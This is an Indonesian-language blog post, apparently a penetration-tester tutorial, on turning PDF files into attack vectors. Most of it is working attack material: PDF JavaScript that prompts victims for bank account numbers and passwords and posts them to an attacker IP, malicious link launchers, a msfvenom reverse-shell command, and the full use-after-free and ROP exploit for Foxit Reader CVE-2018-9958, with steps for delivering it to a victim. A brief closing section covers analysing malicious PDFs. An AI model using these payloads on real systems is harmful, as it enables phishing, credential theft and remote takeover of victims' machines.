Find Vulnerability With PDF

Imhunterand
7 min readSep 19, 2023

--

Introduction

Saat melakukan penelitian tentang cara menggunakan PDF sebagai vektor serangan, saya membaca berbagai sumber yang memberi saya banyak informasi berharga, tetapi tanpa pengetahuan tentang struktur PDF akan menghadapi banyak kesulitan, saya memutuskan untuk menggali lebih dalam dan mempelajari struktur PDF.

Write a PDF file

Untuk menulis file PDF harus mengetahui struktur PDF, untuk itu saya sarankan untuk membaca Let’s write a PDF file Panduan sederhana untuk mempelajari dasar-dasar format PDF.

PDF Injection

Jendela Popup (dialog) adalah komponen penting dari interaktivitas Acrobat. Jendela Popup memberikan pesan kesalahan, peringatan, dan informasi penting lainnya kepada pengguna. Mereka mengajukan pertanyaan kepada pengguna dan mengumpulkan masukan. Acrobat memiliki beberapa jenis Jendela Popup bawaan (peringatan, respons, dan file terbuka), serta fungsi untuk membuat dialog khusus.

Akan mendemonstrasikan cara membuat “alert(1)” injeksi PDF dan cara memperbaikinya untuk menyuntikkan JavaScript yang dapat mencuri kredensial dan membuka tautan berbahaya.

Kita dapat menyuntikkan kode dalam PDF seperti injeksi XSS di dalam pemanggilan fungsi javascript. Pada XSS normal, Anda harus memastikan sintaksnya benar dan valid, prinsip yang sama juga diterapkan pada PDF kecuali injeksi dilakukan di dalam objek, seperti javascript, aliran teks, atau URI anotasi.

XSS

Untuk melakukan XSS, kita menyuntikkan payload ke dalam objek javascript dan memastikan tanda kurung ditutup dengan benar. Anda dapat melihat bahwa injeksi berhasil jika PDF dirender dengan benar tanpa kesalahan. Memecah PDF memang bagus, tetapi kita perlu memastikan bahwa kita dapat menjalankan JavaScript. Saya memulai XSS dengan peringatan popup dengan menyuntikkan kode javascript ke file PDF sebagai berikut.

Alert Box

Fungsi app.alert() digunakan untuk menampilkan kotak popup kepada korban.

<<
/Type /Action
/S /JavaScript
/JS (app.alert('XSS');)
>>

Ini akan memunculkan kotak peringatan ketika file PDF dibuka.

Jika Anda merasa kesulitan untuk menginjeksikan skrip secara manual, Anda dapat menggunakan alat JS2PDFInjector.

Stealing Credentials

Sebagian besar bank mengirimkan laporan bulanan yang dilindungi dengan akun dan kata sandi klien, Klien dapat terkena phishing dan mencuri kredensial mereka jika dia menjadi korban serangan phishing.

Skenario berikut ini menunjukkan bagaimana penyerang dapat mencuri kredensial dan mengirimkannya ke servernya menggunakan metode pengiriman formulir.

Argumen pertama untuk app.response() adalah teks yang ditampilkan di badan Response Box. Ini adalah input standar, namun Response Box dapat dipanggil tanpa argumen sama sekali karena selalu menampilkan kotak input teks. Teks yang dimasukkan ke dalam kotak ini akan dikembalikan ke variabel akun jika pengguna menekan tombol OK untuk keluar dari dialog. Jika mereka menekan Cancel , akun akan menjadi null, hal yang sama juga terjadi pada argumen kedua.

Pada variabel cURL, server penyerang ditambahkan bersama dengan akun dan kata sandi yang dikumpulkan dari korban, ini dikirimkan ke penyerang menggunakan fungsi submitForm().

<<
/Type /Action
/S /JavaScript
/JS
(
var account = app.response ({ cQuestion:"Enter your Bank Account Number", cTitle:"Bank Account Details", bPassword:false, cDefault: global.cLastPswd, cLabel:"A/C"});
var password = app.response ({ cQuestion:"Enter your Bank Account Passowrd", cTitle:"Bank Account Details", bPassword:true, cDefault: global.cLastPswd, cLabel:"Password"});
var cURL = "http://192.168.1.10:443" + "?" + "account=" + account + "&password=" + password;
this.submitForm({cURL: encodeURI(cURL), cSubmitAs: 'HTML'});
)
>>

Buka Tautan Berbahaya

Seorang penyerang dapat menyematkan tautan berbahaya dalam PDF, ketika korban membuka PDF, pesan popup peringatan keamanan akan muncul, jika tautan tersebut terlihat sah, korban dapat mengklik izinkan dan membuka situs web berbahaya.

Metode URI memungkinkan peluncuran tautan saat membuka PDF, yang dapat disalahgunakan oleh penyerang untuk meluncurkan tautan berbahaya.

<<
/Type /Action
/S /URI
/URI (https://twitter.com/pwn0sec)
>>

Hal yang sama dapat dilakukan dengan menggunakan fungsi app.launchURL() pada objek javascript.

<<
/Type /Action
/S /JavaScript
/JS
(
app.launchURL("https://twitter.com/pwn0sec", true);
)
>>

RCE

Menggunakan versi pembaca PDF yang sudah ketinggalan zaman atau file yang dapat dieksekusi yang disematkan ke dalam PDF dapat menyebabkan eksekusi kode jarak jauh, Untuk demonstrasi akan menggunakan Foxit Reader 9.0.1.1049 untuk mengeksploitasi CVE-2018–9958.

Menggunakan versi pembaca PDF yang sudah ketinggalan zaman atau file yang dapat dieksekusi yang disematkan ke dalam PDF dapat menyebabkan eksekusi kode jarak jauh, Untuk demonstrasi akan menggunakan Foxit Reader 9.0.1.1049 untuk mengeksploitasi CVE-2018–9958.

  • Kita perlu mengunduh eksploit dari exploit-db.
  • Generate executable payload using msfvenom -p windows/shell_reverse_tcp -f exe LHOST=192.168.1.10 LPORT=443 -o shell.exe.
  • Run the exploit python3 49116.py \\\\192.168.1.10\\\share\\shell.exe remote_code_exe.pdf to create the PDF file.

Eksploitasi ini akan membuat sebuah PDF kosong yang disematkan dengan muatan javascript yang terlihat sangat mencurigakan bagi korban, karena itu akan menyuntikkan skrip ke dalam PDF yang tidak kosong sehingga tidak mencurigakan.

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret

//Path to executable
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x36312e32;
rop[0x0e] = 0x2e312e38;
rop[0x0f] = 0x735c3031;
rop[0x10] = 0x65726168;
rop[0x11] = 0x6568735c;
rop[0x12] = 0x652e6c6c;
rop[0x13] = 0x00006578;
rop[0x14] = 0x00000000;
rop[0x15] = 0x00000000;
rop[0x16] = 0x00000000;

//End Path to executable
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy(); reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}

Kode ini mungkin berbeda dengan kode Anda karena jalur yang dapat dieksekusi mungkin berbeda.

Ketika PDF terbuka permintaan akan mengirim untuk mengeksekusi file shell.exe di folder share SMB, ketika shell.exe dieksekusi akan mengirim shell terbalik ke penyerang.

  • Mengirimkan PDF berbahaya kepada korban.
  • Atur pangsa SMB di mana shell.exe berada
  • Tetapkan pendengar netcat di port 443.
  • Buka PDF menggunakan Foxit Reader.
Note: javascript code can be encode to hex example:
app.alert(‘XSS’); = <6170702e616c657274282758535327293b>

Menganalisis PDF Berbahaya

Sangat bagus untuk memiliki keterampilan tim merah dan dapat meluncurkan serangan menggunakan PDF dengan berbagai teknik, tetapi yang terbaik adalah memiliki keterampilan tim baca dan juga tim biru, sehingga Anda dapat meluncurkan serangan dan mengetahui teknik pertahanan dan bagaimana menganalisis file berbahaya.

Artikel ini akan menunjukkan bagaimana cara menganalisis PDF menggunakan alat seperti peepdf, pdf-parser, dan pestudio.

Peepdf

Mari kita mulai menganalisis file bank_statment.pdf sebagai PDF berbahaya.

Seperti yang bisa kita lihat ada satu objek dengan kode javascript di objek [3].
Untuk mengekstrak objek ini kita dapat menggunakan alat lain yang disebut pdf-parser.

pdf-parser

Kita mengetahui nama file dan nomor objek, jadi berikan keduanya sebagai argumen untuk pengurai pdf.

Ada begitu banyak argumen yang akan membuat Anda menemukannya, seperti -f untuk melewatkan objek stream melalui filter dan -d untuk membuang konten stream ke file.

References

— — — — — — — — — — — I really hope you found this useful. — — — — — — — — —

--

--

Imhunterand

father, spare time hacker with a background in software development and penetration tester experience. H1: @private IG: @youryreborn